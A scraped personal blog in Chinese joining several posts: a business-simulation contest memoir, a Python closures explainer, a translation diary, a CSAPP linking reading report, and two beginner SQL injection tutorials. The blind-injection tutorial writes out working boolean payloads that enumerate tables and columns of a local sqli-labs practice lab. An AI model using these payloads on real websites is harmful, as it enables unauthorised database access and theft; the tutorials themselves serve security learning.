接着说校内赛，当时报名的队伍有20多支，正式比赛前举办了两次友谊赛，其实对于很多队伍来说就是训练赛了，毕竟一半以上的队伍都是第一次参加这项比赛。参赛选手倒是来自各个学院、各个专业，也有被我们视作一号种子的、由经管学院学长学姐组成的队伍。我们由于时间原因只参加了一次训练赛。到了正式比赛的时候，分成了两组比赛——幸运的是，一号种子队伍和我们分在了两组。虽然说我们只参加了一次训练赛，实际上我们查阅了许多资料，做足了准备。到了赛场上发现有些组连计算用的Excel表格都没有（重要道具，后面会讲），导致他们预期的利润和实际偏差太大，早早地就破产出局了。比赛到一半的时候我们的动态排名还是第三，但由于前期高额的研发投入让我们的产品有明显的质量优势，在最后两季度我们凭借高价、高销量挣得更多净利润，最终排名组内第一。由于分了两组，所以第一只有500元奖金了（哭），赛后就只能在食堂吃了庆功宴。

知翰杯“百团大战”惨遭滑铁卢
#

校内赛拿到组内第一之后，我们的心态产生了一些变化——不再只是“重在参与”了，而是争得更高级别的奖项。“百团大战”是2022年暑假举办的一次全国性企业运营仿真赛，其实那时距离我们参加校内赛已经半年多了，水平基本上可以说是没有提升。因为疫情原因我们甚至不知道这项赛事能否举办，因此只是在开赛前几个星期训练了几次。另外，这项赛事的低含金量导致它在我们学校的受重视程度比较低，我们没有像很多学校那样接受培训。这次比赛是分赛区举办的，华东赛区参赛省份有江苏、浙江、上海、安徽，规模和选手实力都和校内赛时不可同日而语。比赛采用分组积分制，具体前几名晋级我也记不大清了。只记得参赛的队伍风格异常凶悍，完全不按套路来，我们打的3场比赛全部以破产告终，最快的一次甚至第一个季度就破产了。一分未得，在意料之外，也在情理之中——的确是技不如人。

主场作战，有惊无险
#

第十二届上海市大学生工程实践与创新能力大赛由我们学校承办，也就是说我们这次是在主场作战。不巧的是比赛时疫情管控刚刚放开，许多参赛选手都阳了或者回家了，导致有几组队伍退赛了，包括我们学校校内赛在另一组夺冠的队伍。因此我们成了该赛项的主场独苗，压力突然就增大了。我们队伍也只来了3个人，阳了一个。但和“百团大战”那次不同，这次我们研究了国奖选手的打法、深入剖析了规则、熟练掌握了Excel的制作与使用、制定了详细的策略，当然最重要的是我们参加了多次训练赛。可能因为是市级赛事大家比较保守，场上近二十支队伍采取了同样的策略，不存在总体策略的优劣，想要获胜就全靠比赛过程中的临场反应了。比赛中期开始有队伍制定低价破坏市场平衡，我们及时作出反应调低价格才避免了破产。在第5季时我们的季度排名已经进入前5，并且势头大好。不过之前说的社牛朋友紧张了，填错产品价格，导致我们在某个市场的销量和占有率暴跌，优势一去不复返，季度排名掉出前10。我们再次做出及时的调整，制定更低的产品价格，采用“薄利多销”的方案，最终在比赛结束前挽大厦于将倾，挤进了特等奖的行列。BTW，貌似其他特等奖队伍基本都有来自于商学院的选手。

我获得了什么？
#

团队协作能力这是我觉得最重要的一点。其实这支队伍里我最开始也就认识那一个人，但是大家的目标是一致的，因此不存在有人摆烂的情况——这是团队协作的基础。这项比赛对于参赛的大多数队伍来说，都需要考虑分工，如何让合适的人做合适的工作，这是一门学问。如何组织大家训练、如何在比赛过程中形成统一的意见、如何有效地沟通……这些都是十分重要的技能。
处理困境的能力赛事官网这样写道：

通过竞赛，推进虚拟仿真实验教学在创新创业教育中的落地应用。参赛队员在模拟经营实践中，培养其创新精神，创业能力，提升学生在复杂条件下如何做出科学决策的能力，学会如何在困境中生存发展的企业家精神，形成如何建立团队、组织团队实现目标的能力。通过竞赛，全面提高学生发现问题、解决问题、综合分析问题能力；锻炼学生沟通协作、交流应变能力；对学生逻辑思维、开拓创新等综合能力都有一定的锻炼和提升。

或许我以后当不了企业家，但是在困境中生存发展永远是人生的必修课之一。况且未来谁人可知，万一将来某日我所学到的企业运营本领真派上用场了呢？

当然，还有些我没获得但其他人可能获得的。比如在很多学校，该赛事拿国奖是有保研加分的。

如何上手？
#

阅读比赛规则前往官网熟悉比赛规则
观看B站视频 Up🐖推荐：
- O流砂O（入门）
- 冰桓（制表）
- 科韵工作室（进阶）
网上找比赛群进行训练网上搜索EOVS训练赛QQ群，有些群经常会有比赛，可以先用别人的表格（我的表格放在文章最后）
练习制表

下图是我自己制作的表格 {% gallery%} {% endgallery %} 比赛中有非常多的数据要计算，如果自己用计算器算非常耗时而且正确率难以保证。一般来说，省级及以上的比赛都是要求不能使用现成表格的，也就是说如果想用表格就必须在现场制作。如果不是熟练掌握Excel公式及赛事规则的话，短时间内很难现场制作出这样一张表格，因此平时需要加以练习（制表是我的任务之一，所以我深有体会)。

一些经验
#

B站和知乎有很多国奖大佬，可以去看他们的视频和文章或礼貌讨教。我的水平远不及他们，我的一些经验也是从大佬们那里学来的，仅供参考。

制表时未必要完全按照规则给的公式敲，有一些简化的公式
- 人工费用=计划生产量*1.4
- 生产设备价值=运营状况表下季实际产能*10
- 生产线折旧=上一季生产设备价值*10%
单季买原材料，双季还款单数季度购买两季度的原材料，几乎是约定俗成的规矩。根据供需关系，如果你在双数季度购买原材料，价格会更高。由于单数季度购买原材料，所以没有足够的现金还款，双数季度可以根据实际资产负债比、利息等考虑还款。
前期所有者权益越接近150w的整数倍越好所有者权益每增加150w可以让你有资格多购买1条生产线，假如你在2，3季度时生产线就比别人少2，3条，那么利滚利滚利，差距会越来越大，所以需要计算下季度理论上能达到的所有者权益。但是并不是所有者权益比预期高得越多越好，例如下一季度想要购买3条生产线，则需要有450w权益，将决策输入表格后发现达到520w，那么可以将这多余的70w花一部分在研发、营销等地方，这样收益才能最大化。因此，最理想情况是前期每次比要卡到的所有者权益高出几万到十几万。
注意3市场队伍 3市场队伍会放弃一个市场，对于4市场打法的选手来说，3市场选手放弃的这个市场就是最好的突破口，在这个市场能够用更低的营销卖出去更多、更贵的产品。
第5季度高营销因为根据市场发展规律，第6季度市场往往会缩水。但此时又是购买生产线最多的季度，产量暴增，要想将产品卖光，必须提前用营销打开市场，提高市场占有率，才能分得更大的蛋糕。第5季度的决策可以很大程度上决定这场比赛的走向。
平衡营销和研发投入根据赛事介绍，营销和研发都存在边际递减效应。尽管研发的优势在当季度很难体现出来，但是到了比赛后期，如果品牌好、质量差，投入高营销的效果会很差，后期比拼的就是前中期的积累。一味地投入营销可能会让你在前中期占尽优势，但后期质量差导致的市场占有率降低会让你损失非常多净利润。
先练好8+2，四十场打法我们在所有正式比赛里都采用8+2，四市场打法，因为这种打法最为稳妥但又不失机遇。当有了一定的场数积累后再去尝试其他激进的打法，如7+3，8+3以及三市场打法。

EOVS表格及笔记仓库
#

EOVS-excel-note

谈谈闭包

root@beacox.space (BeaCox) — Thu, 10 Nov 2022 21:43:11 +0000

在学习JS的过程中，我遇到了闭包这个概念，当时并没有在意。直到最近我开始自学python，在廖雪峰老师的python教程中又一次看到了这个名词，我才意识到闭包其实是一个重要的概念，或者说特性，许多高级语言支持闭包（比如近些年比较火的Go语言）。于是我查看了相关文档、教程，打算谈谈我对闭包的一些认识。

闭包的定义
#

闭包有许多不同的定义，个人认为最简洁而达意的是MDN对于闭包的定义：

闭包（closure）是一个函数以及其捆绑的周边环境状态（lexical environment，词法环境）的引用的组合。换而言之，闭包让开发者可以从内部函数访问外部函数的作用域。

词法环境
#

维基百科这样描述闭包中的词法环境：

环境里是若干对符号和值的对应关系，它既要包括约束变量（该函数内部绑定的符号），也要包括自由变量（在函数外部定义但在函数内被引用），有些函数也可能没有自由变量。

简单来说，词法环境包含两部分：

环境记录：存储符号-值对
对外部环境的引用：对父级词法环境的引用。

也就是说，一个函数的词法环境包含了在函数中的符号定义和函数外部的词法环境。考虑如下python代码：

def init():
    name = "BeaCox"
    def displayName():
        greeting = "Hello"
        print(greeting+', '+name)
    displayName()
init()

displayName函数的词法环境包含了环境记录（greeting的符号-值对）以及对外部环境的引用（name和displayName的符号-值对），这也就是在displayName函数中可以访问name变量的原因。执行displayName函数，其实就是创建了一个闭包。

使用闭包
#

看完上面的例子，好像有点迷糊了：这不就是“内层作用域可以访问外层作用域的变量”吗？C++不支持闭包，不也能完成上面的工作吗？这是因为上面的例子并没有展示出闭包函数与词法环境捆绑的特性。将上面的代码稍加改动：

def init():
    name = "BeaCox"
    def displayName():
        greeting = "Hello"
        print(greeting+', '+name)
    return displayName
outsideDisplay=init()
outsideDisplay()

这段代码与上面不同的地方在于，displayName函数并不在init函数中执行，而是作为返回值，在init函数外部，有一个outsideDisplay接收了这个返回值。如果我们从C++的思想来考虑这段代码，会发现：在init函数执行完后，局部变量name已经被回收，这时候outsideDisplay中name变量是没有被定义的，这段代码应该不能正常运行。然而，我们运行这段python程序后会发现，终端正常输出Hello, BeaCox，这就是闭包的魔力！

这段程序之所以正常运行的原因，就是python中返回函数会形成闭包。闭包是由函数以及声明该函数的词法环境组合而成的。该环境包含了这个闭包创建时作用域内的任何局部变量。在本例子中，outsideDisplay 是执行 init 时创建的 displayName 函数实例的引用。displayName 函数和其捆绑的词法环境（变量 name 存在于其中）的引用形成了一个闭包，因此init函数执行完毕后，该词法环境没有消失，变量name也没有被回收。因此，当 outsideDisplay 被调用时，变量 name 仍然可用，程序能够正确运行。

闭包的用途
#

模拟公有成员函数对私有变量的操作
#

读完上述代码不难发现，outsideDisplay函数在init函数外部调用，但却访问到了init函数内部的变量。这与C++中，调用类的公有成员函数来操作类的私有变量非常相似。与C++不同，python不存在严格意义上的私有变量，python通过以双下划线为开头来命名变量的方式，实现的是一种伪私有变量，它不应该被从外部访问，而不是不能被从外部访问。python、JavaScript等不支持严格私有变量的语言可以通过创建闭包来模拟公有成员函数对私有变量的操作

创建一个生命周期极长的局部变量
#

观察上述例子，outsideDisplay函数可以继续重复运行，直到整个程序终止。也就是说name变量直到程序运行结束之前，都一直存在于内存中。听起来貌似很像全局变量，但这个变量却是一个局部变量。仅这个程序而言，这个变量只能被outsideDisplay函数和init函数访问。

闭包可能导致的问题
#

内存泄漏
#

内存泄漏（Memory Leak）是指程序中已动态分配的堆内存由于某种原因程序未释放或无法释放，造成系统内存的浪费，导致程序运行速度减慢甚至系统崩溃等严重后果。

上文提到，闭包可以创建一个生命周期极长（直到程序运行结束前始终留存在内存中）的变量，如果这样的变量过多，就会导致程序运行速度减慢甚至系统崩溃。

在循环中创建闭包导致意料之外的错误
#

廖雪峰老师的python教程中给出了一个这样的例子：

def count():
    fs = []
    for i in range(1, 4)://i从1到3
        def f():
             return i*i
        fs.append(f)
    return fs

f1, f2, f3 = count()

这段程序的期望目标是f1, f2, f3分别返回1，4，9。实际返回9, 9, 9。这是因为每个f()函数捆绑外部词法环境中的i是对i的引用，在return fs之前，i已经变成3了，因此每个f()函数返回的都是3*3。

因此，要尽量避免在循环中创建闭包。如若必需，务必要谨慎！

记录第一次参与美漫翻译

root@beacox.space (BeaCox) — Wed, 06 Jul 2022 20:02:22 +0000

有点小兴奋。我终于也成了一名"烤肉man"。以前看美剧、美漫的时候片头字幕组给我的感觉就是：帅爆了。试想一下，你将自己喜欢看的剧翻译成中文，你的同好看的某一集就是你翻译的——SO DAMN COOL!

关于我看美漫这件事
#

虽然我的头像是炭治郎，但其实我平时看日漫真不多，我近几年看过的日漫简直屈指可数：《鬼灭之刃》、《咒术回战》，《国王排名》甚至只看了一点点。倒是看美漫看得还比较多，~~只不过没多少能拿来当头像的~~。能拿到台面上来说的有：Rick and Morty, Gravity Falls, Love,Death&Robots。剩下的就不多说了，~~如果有美漫同好也可以私我~~。反正对我来说，看日漫是因为热血，看美漫是因为脑洞。可能喜欢看美漫是因为它能让我从固化的思维当中暂时抽离出来吧！

烤肉的起因
#

向看国外片子少的小伙伴们解释下，一般称没有翻译的外语片为生肉，有中文字幕的则叫做熟肉，而翻译过程就叫做烤肉。这件事的起因是我的一个好兄弟找到了这部动漫中文字幕组的账号，看到了他们发布的招新信息，他就加入了。后来他告诉我翻译工作频率很低、随缘，而且翻译测试很简单，我就跟着冲了。（果然easy，毕竟招新要求是初三以上即可 XD）

烤肉的经过
#

严格来说，我做的并不能算烤肉的工作。这部动漫联手育碧等公司发布了三款游戏：真理之杖、完整破碎、手机毁灭者（看过动漫或者玩过游戏的小伙伴想必已经知道我说的是哪部动漫了，我翻译的是游戏演示视频，但我已经很满意了。很多加群的新人都会问这样一个问题：“有ddl吗？”他们都会得到相同的有些意外的答案：“没有”。因为所有翻译全都是用爱发电、为爱发电。没有人会要求你完成多少翻译任务，没有人限定翻译时间；同样地，没有人会进群划水，也没有人领了任务迟迟不完成。另外，在烤肉的过程中，虽然有wiki可以参考，但是像这样一部梗满天飞的美漫仍旧是很难翻译的。有些梗可能十分冷门，因此翻译难度很大，但是没有谁会摆烂瞎翻。之前群里有一段关于某一缩写的含义的讨论，持续了好几天才得出结论。

一些感受
#

加入翻译组不仅让我结识了一群该动漫的同好，也让我的翻译能力有了大幅度的提升。毕竟在大学里我的英语全靠高中的功底强撑着，我是不太可能主动学习英语的。但是我的确喜欢翻译，这是一种将地道的外国表达转换成够味儿的中文表达的过程，是多元文化的碰撞。当然，毋宁说是这让我理解更多梗、让我有一种平日里少有的自豪感。

其实这样的翻译工作跟博客创作倒是有些相似之处：一群同好聚集在一起做喜欢的事，充满热情和活力，一起讨论问题、解决问题、分享。当然，还有为爱发电。我认识的绝大多数博主创作博客的目的都不是为了盈利，毕竟做博客的盈利或许都很难比得上维护博客所耗费的时间、精力、财力。对了，对我来说这两个圈子还有一个共同点：那就是比我现在大学生活的圈子精彩得多。

最后放一张我翻译的片段吧！这是我第一次烤肉，因此很多表达翻译成中文自己都感觉怪怪的，希望能继续进步吧！~~还想参与下半年电影字幕的翻译呢嘿嘿~~

《深入理解计算机系统》第7章：链接阅读报告

root@beacox.space (BeaCox) — Fri, 01 Jul 2022 15:50:32 +0000

这篇文章是阅读《深入理解计算机系统》第7章：链接后写下的，很多地方写得并不详细，也无法保证完全正确。主要是为了记录我学习链接相关知识的过程，仅供参考。

什么是链接？
#

链接是将各种代码和数据片段收集并组合成为一个单一文件的过程，这个文件可被加载（复制）到内存并执行。

链接可以执行于编译时、加载时、运行时。

编译器驱动程序
#

大多数编译系统提供编译器驱动程序(compile driver)，它代表用户在需要时调用语言预处理器、编译器、汇编器和链接器。

用GNU编译系统构造程序时，我们调用GCC(GNU Compiler Collection)驱动程序。

GCC有几个常用的参数：

参数	功能
-c	将源文件编译成目标文件但不链接
-d	在执行过程中打印出所有的调试信息
-S	将源文件编译成汇编代码，不进行汇编和链接
-E	只对源文件进行预处理，不进行编译、汇编、链接
-o	指明输出文件名为file
-g	打开调试开关，让编译的目标文件有调试信息
-O0, -O1, -O2, -O3	控制代码优化强度，-O3最强

举个例子
#

要通过上图源程序一步步构造成一个完全链接的可执行目标文件，需要以下几步：

每一步对应如下代码：

gcc -E -o main.i main.c # 预处理
gcc -S -o main.s main.i # 编译
as -o main.o main.s # 汇编
ld -static -o prog main.o sum.o # 链接

可重定位目标文件
#

如图所示是典型的ELF可重定位目标文件的格式。

ELF：Executable and Linkable Format(可执行可链接格式)

ELF头以一个16字节的序列开始，前四个字节被称为魔数，用来确认文件类型；第5个字节表示ELF文件类型：0x1代表32位，0x2代表64位；第6个字节表示字节序：0x1代表小端法，0x2代表大端法；第7个字表示ELF的版本号，通常都是0x1；剩余的字节填充为0。ELF头剩下的部分包含帮助链接器语法分析和解释目标文件的信息。

夹在ELF头和节头部表之间的都是节。较为重要的节如下：

名称	内容	备注
.text	已编译程序的机器代码
.rodata	read-only data。比如printf语句中的格式串
.data	已初始化的全局和静态变量	局部变量不在.data也不在.bss，保存在栈中
.bss	未初始化以及初始化为0的的全局和静态变量	不占据空间，仅是占位符
.symtab	符号表，包含在程序中定义和引用的函数和全局变量的信息
.rel.text	机器代码的重定位信息
.rel.data	被模块引用或定义的所有全局变量的重定位信息

符号和符号表
#

链接过程的本质就是将不同的目标文件粘合在一起，而符号则可以看作是链接过程的粘合剂。

下图为ELF符号表的条目：

在使用readelf -s main.o命令查看main.o程序的符号表时，要注意section字段有3个特殊的伪节：

名称	含义
ABS	代表不被重定位的符号
UNDEF	代表未定义的符号，即在本目标模块中引用、在别处定义的符号
COMMON	表示还未被分配位置的未初始化的数据目标

注意：只有可重定位目标文件中才有这些伪节，可执行目标文件中没有。

COMMON和.bss的区别：

COMMON: 未初始化的全局变量
.bss: 未初始化的静态变量，以及初始化为0的全局或静态变量

符号解析与静态库
#

符号解析
#

链接器解析符号引用的方法是将每个引用与它的可重定位目标文件的符号表中的一个确定的符号定义关联起来。

换言之，一个符号至少要对应一个定义，无论两者是在同一模块还是不同模块。(每个模块中每个局部符号只有一个定义，全局符号引用解析的情况较为复杂，因为多个目标文件可能会定义相同名字的全局符号)

强符号：函数和已初始化的全局变量
弱符号：未初始化的全局变量

编译器解析多重定义的全局符号有以下三条规则：

不允许有多个同名的强符号
如果有一个强符号和多个弱符号同名，那么选择强符号
如果有多个弱符号同名，那么从这些弱符号中任意选择一个

规则2和规则3常常引发一些不易察觉的错误。为了避免此类错误，可以在编译时添加-fno-common选项，该选项会使得链接器在遇到多重定义的全局符号时触发一个错误；或者添加-Werror选项，该选项会把所有的警告变成错误。

静态库
#

所有的编译系统都提供一种机制，将所有相关的目标模块打包成为一个单独的文件，称为静态库。

静态库文件，又称存档(archive)文件。

将上图addvec.c和multvec.c构造成一个静态库：

gcc -c addvec.c multvec.c
ar rcs libvector.a addvec.o multvec.o

第一行代码得到两个目标文件addvec.o和multvec.o，再输入第二行代码就构造了一个名为libvector.a的静态库。下图程序可以调用这个静态库，其中vector.h定义了这个静态库libvector.a中的函数原型。

gcc -c main2.c
gcc -static -o prog2c main2.o ./libvector.a

上述代码将源文件main2.c编译为目标文件main2.o，然后链接目标文件main2.o和静态库文件libvector.a，创建了可执行文件prog2c。过程如下图所示：

由于链接器判定main2.o只引用了libvector.a中addvec.o的addvec符号，因此只复制addvec.o到可执行文件，而不复制multvec.o。

静态库的解析过程
#

gcc -static -o prog2c main2.o ./libvector.a

上一节中使用上式链接源文件和静态库，其中涉及到利用静态库解析符号引用。具体过程如下：链接器维护3个集合，分别为：

E，输入的可重定位目标文件集合
U，引用了但是尚未定义的符号的集合
D，已定义的符号的集合

链接器从左到右扫描可重定位目标文件和存档（静态库）文件，因此首先输入可重定位目标文件main.o。main.o进入集合E；addvec和printf符号没有在main.o中被定义，因此进入集合U；剩余的进入集合D。

接着，继续扫描到存档文件libvector.a，存档文件不进入集合E。链接器尝试匹配U中未解析的符号和由存档文件成员定义的符号，链接器发现libvector.a的成员addvec.o中存在符号addvec的定义，因此将addvec.o加入集合E，并将addvec从集合U中删除，另外addvec.o中定义的其他符号，即addcnt会被加入到集合D中。对静态库中每个成员目标文件都会进行上述过程，此例中另一个成员multvec.o没有定义U中的符号，因此集合U和D不发生变化，链接器继续处理下一个输入的文件。

上面的代码实际上隐式执行了对静态库libc.a的链接，实际上会输入libc.a，执行上述过程后集合情况如下：

此时集合U为空，说明没有未定义的符号，链接器将合并和重定位E中的目标文件，构造可执行目标文件。若集合U非空，则说明有未定义的符号，链接器将输出一个错误并终止。

这个过程也解释了命令行输入文件的顺序的重要性，例如将main2.o与./libvector.a互换位置，由于输入libvector时集合U为空，因此addvec.o不会被加入集合E，因此最后集合U中会存在未定义符号addvec，从而导致错误。

重定位
#

在上一节中链接器确定了一个集合E，即要合并的目标文件，接下来就需要进行重定位操作。重定位分为两步：

重定位节和符号定义
重定位节中的符号引用

重定位节和符号引用
#

示意图如下：

这一步完成后，程序中每条指令和全局变量都有唯一的运行时内存地址了。

重定位节中的符号引用
#

这一步依赖重定位条目，对于代码的重定位条目位于.rel.text，对于已初始化数据的重定位条目位于.rel.data。

上图展示了ELF重定位条目的结构体定义。其中type（重定位类型)有32种，需要知道的有两种：

R_X86_64_PC32（PC相对地址，PC值通常是下一条指令在内存中的地址）
R_X86_64_32（绝对地址）

关于重定位的计算，可以参考【CSAPP-深入理解计算机系统】7-6. 重定位_哔哩哔哩_bilibili

可执行目标文件
#

如图所示为典型的ELF可执行目标文件 ELF可执行文件的连续的片被映射到连续的内存段，程序头部表描述了这种映射关系。

将程序从磁盘复制到内存的过程叫做加载。加载器运行时，创建内存映像，在程序头部表的引导下，加载器将可执行文件的片复制到代码段和数据段，然后加载器跳转到程序的入口点。

如图所示为Linux x86-64运行时的内存映像。

动态链接共享库
#

共享库是一个目标模块，在运行或加载时，可以加载到任意的内存地址，并和一个在内存中的程序链接起来。这个过程称为动态链接，是由一个叫做动态链接器的程序来执行的。

构造共享库的方式与构造静态库的方式很相似，只需将构造静态库的代码修改为：

gcc -shared -fpic -o libvector.so addvec.c multvec.c

动态链接共享库的过程如图所示：

此外，还可以从应用程序中加载和链接共享库。

dlopen函数加载和链接共享库filename

dlsym函数返回输入符号的地址

如果没有其他共享库还在使用该共享库，dlclose函数就卸载该共享库

dlerror函数返回dlopen、dlsym或dlclose函数的错误信息。

*库打桩机制
#

作用：截获对共享库函数的调用，用其他代码取代

编译时打桩
链接时打桩
运行时打桩

SQL注入新手教程（三）——布尔盲注

root@beacox.space (BeaCox) — Tue, 21 Jun 2022 22:51:10 +0000

在上一期教程中我们学习了基于报错的注入，或者准确地说是GET型基于报错的注入。相信大家也看出来了，这种注入是非常简单的，意味着这种漏洞是非常低级的。我们所见到的大多数网站中都不会出现如此低级的SQL注入漏洞。更多时候页面是不会回显报错语句的，这时候事情就变复杂了。我们无法直接看到报错语句，就需要通过估计不同的查询结果是TRUE还是FALSE来判断某个数据库是否能够注入，这就是盲注！

布尔盲注原理
#

之所以叫盲注，是因为我们在注入的过程中不会看到后端的错误返回语句。此时，如果我们执行的语句返回值为1，页面的显示是一种模样，如果为0，那么页面的显示是另一种模样。利用这样的特性，我们可以在SQL语句中加入逻辑表达式、关系表达式，不断试错，从而理论上能够解得我们所需要的数据，这和猜解密码有点相似。

判断数据库是否能被布尔盲注
#

依然，我们首先打开PHPstudy面板，启动WAMP。在浏览器地址栏输入http://localhost/sqli/Less-8/?id=1进入Lesson8（按照你的端口号、目录名等修改）。猜测对应的后端SQL语句为：

select * from table_name where id=1

此时页面显示如下：

接着我们尝试破坏查询，在地址栏输入

http://localhost/sqli/Less-8/?id=1'

猜测对应的后端SQL语句为：

select * from table_name where id=1'

发现页面显示如下：

观察上图我们可以发现，You are in...这段话不见了，说明这段查询语句是有问题的，即我们破坏查询成功了。但是页面没有回显报错信息，说明我们之前用的显注方法失效了。这时我们便要用到布尔盲注了。

接着我们就继续判断我们传入的参数在后端是如何被封装的。在地址栏输入

http://localhost:81/sqli/Less-8/?id=1' and 1=1 --+

发现那段文字You are in...（后文称提示文字）又重新出现了，这证明：(i)参数是由单引号封装的；(ii)后端对1=1进行了判断并返回TRUE，可以进行布尔盲注。因此推翻之前的SQL语句猜测，此处后端SQL语句形如：

select * from table_name where id='1' and 1=1 --+'

布尔盲注思路
#

确认能够进行布尔盲注后，我们需要想办法获取我们想要的数据。通常会编写脚本来自动进行布尔盲注，但本文重点在于厘清布尔盲注的原理和实现路线，因此采用手动注入的方法。

首先，我们需要知道当前数据库有哪些表、各自的名称，并判断哪些表含有重要信息；接着，我们需要知道表里有哪些字段、各自的名称，并判断哪些字段含有重要信息；最后我们获取到相应字段对应的每一条记录。

这个由大及小的思路与之前的盲注并无差别，唯一不同的是这次我们不会直接看到查询的结果，而需要通过逻辑表达式和关系表达式是否返回为TRUE来猜解我们想要得到的信息。在布尔盲注的过程中，由于表中数据的不确定性，如果我们想要通过枚举出查询结果所有可能的值，这个工作量是非常大的。因此，我的方法是先确定数据库中表的数量，再确定每一个表的名称。确定表名时，先得到查询结果的字符串长度区间，再确定字符串长度，先确定每一个字符的ASCII码区间，再确定每一个字符的确切ASCII码。如果你有点迷糊了，没有关系，请接着往下看。

确定数据库中表的数量
#

我采用的方法是：让后端判断第n个表的字符串长度是否大于0，如果提示文字出现，则证明数据库有第n个表，否则证明数据库中最多有n-1个表。

在地址栏输入

http://localhost/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) > 0 --+

后端SQL语句形如：

select * from table_name where id='1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) > 0 --+'

这段语句的意思为：从数据库的表名中查询id=‘1’的所有字段并且当前数据库中的第4个表名字符串长度大于0。其中length()函数作用是取查询结果的字符串长度，用法为length(字符串)。如果你忘了这句语句中其他地方的含义，请见上一章。结果，页面显示了提示文字。表明当前数据库至少有4张表。接着我们将地址栏中的字符改为

http://localhost/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 4,1))) > 0 --+

作用是判断第5个表的字符串长度是否大于0，换言之，第5张表是否存在。结果发现页面并没有显示提示文字。由此，我们得到结论：当前数据库中有且仅有4张表。

确定表名的字符串长度
#

我们首先确定第一张表的字符串长度，用到的方法与上一小节类似。在地址栏输入

http://localhost/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+

作用是判断第一张表表名的字符串长度是否大于5。结果页面显示提示文字，证明第一张表表名的字符串长度大于5。接着我们将5改成6，发现页面不显示提示文字了。答案也就出来了，第一张表表名的字符串长度为6。用同样的方法我们也可以获取其他表名的字符串长度。

确定表名的每一个字符所对应的ASCII码值
#

在确定了每张表表名的字符串长度之后，我们就需要确定其每一个字符的具体值。但是表名有可能是字母、数字、标点符号、操作符、特殊字符等，倘若我们一个个尝试，效率会很低。因此我们会想到用ASCII码值来判断字符的具体值。每一个ASCII码对应一个字符，主要对应关系如下图：

我们这里以第四张表为例（问就是第四张表重要），在地址栏输入

http://localhost/sqli/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 96 --+

其中，substr()函数作用为截取字符串中指定位置开始的指定个字符，用法为：substr(字符串,起始位置,截取长度)，起始位置从1开始。ascii()函数作用为取字符的ASCII码值，用法为ascii(字符)。因此上述语句作用为判断第4张表表名的第一个字符ASCII码值是否大于96。结果发现页面显示提示文字，证明第4张表表名的第一个字符ASCII码值大于96，因此很大概率它是一个小写的英文字母。可以将> 96改为< 123尝试一下，发现的确如此。

接着可以采用二分法来确定该字符的具体值。将< 123改为> 110发现页面显示提示文字，因此将111和122作为两个端点继续划分。将> 110改为< 117发现页面不显示提示文字。因此可以确定该字符为u,v,w,x,y,z中的一个，继续二分法或者枚举都可以得到：该字符为u。

利用同样的方法，我们猜解得到第四张表的表名为users。同样地，我们也能够猜解出其他表名。

确定表中字段数
#

与确定数据库中表数量的方法一致，只需将table_name替换为column_name，information_schema.tables替换为information_schema.columns，table_schema=database()替换为table_name='users'即可。如：

http://localhost/sqli/Less-8/?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 3,1))) > 0 --+

发现页面显示提示文字，证明users表中至少有4个字段。利用和上文一样的方法，最终可以知道users表中有6个字段。

后续
#

确定字段的字符串长度，确定字段的每个字符具体值；确定记录数，确定记录的字符串长度，确定记录的每个字符具体值。方法与前文完全一致。有兴趣的小伙伴可以尝试一下继续手动猜解。

结语
#

本文主要目的是为读者厘清布尔盲注的原理和思路，实际上，手动进行布尔盲注效率十分低下，几乎用不到。但如果时间充裕，可以感受一下手动进行布尔盲注的过程，私以为这有助于更清晰地认识布尔盲注。

SQL注入新手教程（二）——基于报错的注入

root@beacox.space (BeaCox) — Mon, 09 May 2022 16:24:00 +0000

基础知识
#

在学习本期内容之前，先介绍本期用到的基础知识。

表
- 行：又称为记录或数据
- 列：一般称为字段
常用语句
- select 用法：select 字段1,字段2,字段3…… from 表名（where 筛选条件）翻译一下就是如果满足某条件，从某表选择某字段展示出来（所有行）
- limit 用法：加在上述语句后面，如limit 0,1。表示限制显示的行数第一个参数表示起始行（0开始计数），第二个参数表示显示的行数。这一句就代表显示第0行。limit 2,3就是显示第2行到第4行
- order by 用法：order by 字段名或字段序号比如一张表users有三个字段（列），分别是id,username,passwd，你可以用select username from users order by id或者 by 1来这些记录按照id排序。默认升序，要降序可以order by 1 desc。也就是加一个descending的缩写。
- union（重要） 用法：select 字段1,字段2,字段3 from 表1 union select 字段1,字段2,字段3 from 表2 用来将两条查询语句的查询结果拼接起来显示。注意：两条语句查找的字段数要一致。可以想象两张表如果是有不同列数是不能拼接起来的。
常用字符
- 逻辑运算符 and 与；or 或；not 非。
- 单行注释 #或--
- 加号，连接（在URL中等同于空格） +
- 通配符
  - *通配符的作用是匹配所有结果集。比如select * from users就是将users整张表展示出来
  - %通配符的作用是替代0个或多个字符，用在like中相当于正则表达式里的*。比如select username from users where username like “a%min”。则可能匹配到username为amin,admin,aemin,addddddmin……这样的记录（如果有）
  - _通配符的作用是替代1个字符，用在like中比如select username from users where username like “a_min”。则可能匹配到admin,aemin,afmin……这样的记录（如果有）

数据库指纹所谓数据库指纹，就是说我们可以根据报错信息来判断数据库类型

NO	报错	数据库类型
1	You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1	MySQL
2	ORA-00933: SQL command not properly ended	Oracle
3	Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string	MSSQL

GET和POST传参我们在上网的过程中，需要和服务器进行交互。比如我们在搜索引擎搜索一个词语，就是向服务器传递了一个参数。服务器通过这个参数从数据库中找到我们想要的内容，再展示给我们。这就是传参的基本原理了。
- GET传参如果你比较细心，你或许会发现你在浏览网站时有的时候浏览器地址栏你的URL是以?xx=xx这样的方式结尾的，这其实就是GET传参。GET方式传参的最大特点就是请求传递的参数最终都会显式地拼接到URL后面。
- POST传参这种方式的传参不会显示在地址栏中，相对来说比较安全。输入密码这类敏感信息时通常会使用POST传参。
想象我的博客有这样一个界面：
```
username:
password:
```
